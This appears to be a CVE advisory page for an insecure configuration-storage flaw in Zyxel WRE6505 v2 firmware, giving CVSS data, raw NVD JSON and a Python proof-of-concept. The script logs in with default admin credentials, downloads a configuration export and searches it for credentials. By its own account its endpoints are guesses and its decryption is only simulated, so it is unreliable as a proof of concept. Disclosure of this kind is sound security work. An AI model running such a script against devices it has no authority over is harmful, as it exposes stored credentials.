Security Vulnerability Report
中文
CVE-2026-7257 CVSS 4.4 MEDIUM

CVE-2026-7257

Published: 2026-05-12 04:16:29
Last Modified: 2026-05-12 04:16:29

Description

** UNSUPPORTED WHEN ASSIGNED ** An insecure storage of sensitive information vulnerability in the configuration file of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow a local attacker with administrator privileges to download and decrypt a backup configuration file.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Zyxel WRE6505 v2 Firmware V1.00(ABDV.3)C0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-7257: Zyxel WRE6505 v2 Insecure Storage of Sensitive Information. This script simulates the process of downloading and decrypting the configuration file. Note: Actual decryption logic depends on the specific weak algorithm used by the device. """ import requests from base64 import b64decode # Target configuration TARGET_IP = "192.168.1.1" ADMIN_USER = "admin" ADMIN_PASS = "password" # Requires admin privileges as per PR:H # Login to obtain session def login(session): login_url = f"http://{TARGET_IP}/login.cgi" payload = { "username": ADMIN_USER, "password": ADMIN_PASS } response = session.post(login_url, data=payload) if response.status_code == 200 and "dashboard" in response.text: print("[+] Login successful") return True else: print("[-] Login failed") return False # Download the insecure configuration file def download_config(session): # Endpoint might vary, assuming a standard export endpoint export_url = f"http://{TARGET_IP}/cgi-bin/export_config" response = session.get(export_url) if response.status_code == 200: print("[+] Configuration file downloaded") return response.content else: print("[-] Failed to download configuration") return None # Simulate decryption/parsing of the sensitive info def analyze_config(config_data): print("[+] Analyzing configuration data...") # In a real scenario, this might involve reversing a weak XOR cipher or Base64 decoding # Here we simulate finding sensitive strings try: decoded = config_data.decode('utf-8', errors='ignore') if "admin" in decoded and "password" in decoded: print("[!] Potential sensitive credentials found in plaintext/weakly encoded format!") # print(decoded) # Uncomment to dump config except Exception as e: print(f"Error parsing config: {e}") if __name__ == "__main__": with requests.Session() as s: if login(s): config = download_config(s) if config: analyze_config(config)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7257", "sourceIdentifier": "[email protected]", "published": "2026-05-12T04:16:29.497", "lastModified": "2026-05-12T04:16:29.497", "vulnStatus": "Received", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** An insecure storage of sensitive information vulnerability in the configuration file of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow a local attacker with administrator privileges to download and decrypt a backup configuration file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-922"}]}], "references": [{"url": "https://www.zyxel.com/global/en/support/end-of-life", "source": "[email protected]"}]}}